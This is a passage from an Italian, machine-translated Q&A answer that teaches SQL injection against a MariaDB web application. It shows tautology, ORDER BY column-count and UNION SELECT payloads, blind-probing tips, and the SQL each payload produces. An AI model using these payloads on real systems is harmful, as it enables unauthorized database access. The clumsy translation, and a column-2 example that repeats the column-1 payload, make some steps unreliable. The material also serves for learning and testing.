Mysql
 sql >> Database >  >> RDS >> Mysql

Iniezione SQL MariaDb

Ok divertiamoci un po' allora.

Quando guardo il messaggio di errore

Suppongo che la query e il codice nell'applicazione siano più o meno come questo pseudo saggio, il @o è in effetti una variabile utente MySQL..

SELECT
 *
FROM
 DUMMY_TABLE
WHERE
 DUMMY_TABLE.o = '",@o,"'
LIMIT 10 

Userò uno spazio del violino SQL per simulare un test di iniezione SQL e ottenere più accesso possibile ad altre tabelle.

Puoi testare la tua iniezione con 1' OR 1 = 1# o 1' OR 1 = 1-- entrambi dovrebbero funzionare e dovrebbero darti lo stesso risultato quando usi 1 come input. Questo perché MariaDB automatico sta eseguendo il casting dei tipi per altri database di cui potresti aver bisogno per utilizzare la versione più rigorosa 1' OR '1' = '1#

Che dovrebbe generare

SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' OR 1 = 1#' LIMIT 10 

Oppure

SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' OR 1 = 1--' LIMIT 10 

Quindi, poiché vedi errori nell'applicazione, puoi utilizzare ORDER BY 1 per verificare quante colonne sono selezionate e incrementare il numero fino a quando non viene visualizzato un errore.

Errore:ER_BAD_FIELD_ERROR:colonna sconosciuta '2' in 'clausola d'ordine'

Iniettare con

1' ORDER BY 1# o 1' ORDER BY 1--

Ciò significa ordinare sulla prima colonna nel set di risultati NON ordina 1 letterale.

Genera

SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' ORDER BY 1#' LIMIT 10 

Oppure

SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' ORDER BY 1--' LIMIT 10 

Quando conosci le colonne puoi usare UNION per entrare in altri tavoli. Usa NULL se non ti servono tutte le colonne.

iniezione

1' UNION ALL SELECT NULL FROM DUAL#

Nota che DUAL è una tabella "virtuale" non esistente in MariaDB, MySQL e Oracle, se puoi interrogare questa "tabella" significa che puoi anche tecnicamente entrare in altre tabelle.

SQL generato

SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' UNION ALL SELECT NULL FROM DUAL#' LIMIT 10 

E se la pagina web è progettata come una pagina di "dettaglio" in cui un record è sempre visibile, devi aggiungere un LIMIT 1, 1 nella tua iniezione.

Che cosa succede se non ci sono errori visibili nell'applicazione web, dovresti essere in grado di eseguire ciecamente bruteforce geuss con iniezioni SQL cieche e vedere come funziona l'applicazione.
Prova anche cose come ?o=0 , ?o=NULL o un numero molto alto come il valore INT massimo (con segno) ?o=2147483647 o (senza segno) ?o=4294967295 prima di provare a forzare il numero di colonna utilizzato in modo da sapere come l'applicazione gestisce i record che non possono essere trovati. Perché è molto improbabile che abbia id 0 o quei numeri alti su un INT datatype, perché l'applicazione smetterà di funzionare se è stato fornito l'ultimo numero. Se ottieni ancora un record con quei numeri alti, usa i valori massimi per BIGINT tipo di dati invece.

Per la colonna 1 stesso risultato ID o=1
1' UNION ALL SELECT 1 FROM DUAL LIMIT 1, 1#

Per le colonne 2 che visualizzeranno un errore ma molto probabilmente vedrai una pagina di errore o un messaggio che indica che il record non è stato trovato.
O uno stato di errore HTTP 404 (non trovato).
1' UNION ALL SELECT 1 FROM DUAL LIMIT 1, 1#

Un problema che potresti riscontrare utilizzando LIMIT senza utilizzare ORDER BY potrebbe essere un'opportunità ottenere gli stessi record perché lo standard SQL ha definito che le tabelle/set di risultati SQL sono senza ordine senza utilizzare ORDER BY

Quindi idealmente devi continuare a utilizzare ORDER BY 1 nelle forze brute.

1' UNION ALL SELECT 1 FROM DUAL ORDER BY 1 DESC#

E

1' UNION ALL SELECT 1 FROM DUAL ORDER BY 1 DESC LIMIT 1, 1#

I database supportano ORDER BY 1 è meglio di quanto pensassi a prima vista perché funziona in MySQL, MariaDB, SQL Server (MSSQL) e PostgreSQL.

Anche ORDER BY 1 era una funzionalità di SQL 92 che è stata rimossa in SQL 99.
Quindi in realtà i database SQL non dovrebbero essere eseguiti ORDER BY 1 ancora di più se seguissero gli standard SQL su questo punto.

SQL 92 BNF

 <sort specification list> ::=
      <sort specification> [ { <comma> <sort specification> }... ]

 <sort specification> ::=
      <sort key> [ <collate clause > ] [ <ordering specification> ]


 <sort key> ::=
        <column name>
      | <unsigned integer> # <- here it is 

 <ordering specification> ::= ASC | DESC

contro SQL 1999 BNF

 <sort specification list> ::=
      <sort specification> [ { <comma> <sort specification> }... ]

 <sort specification> ::=
      <sort key> [ <collate clause > ] [ <ordering specification> ]


 <sort key> ::=
        <column name>
                        # <- missing

 <ordering specification> ::= ASC | DESC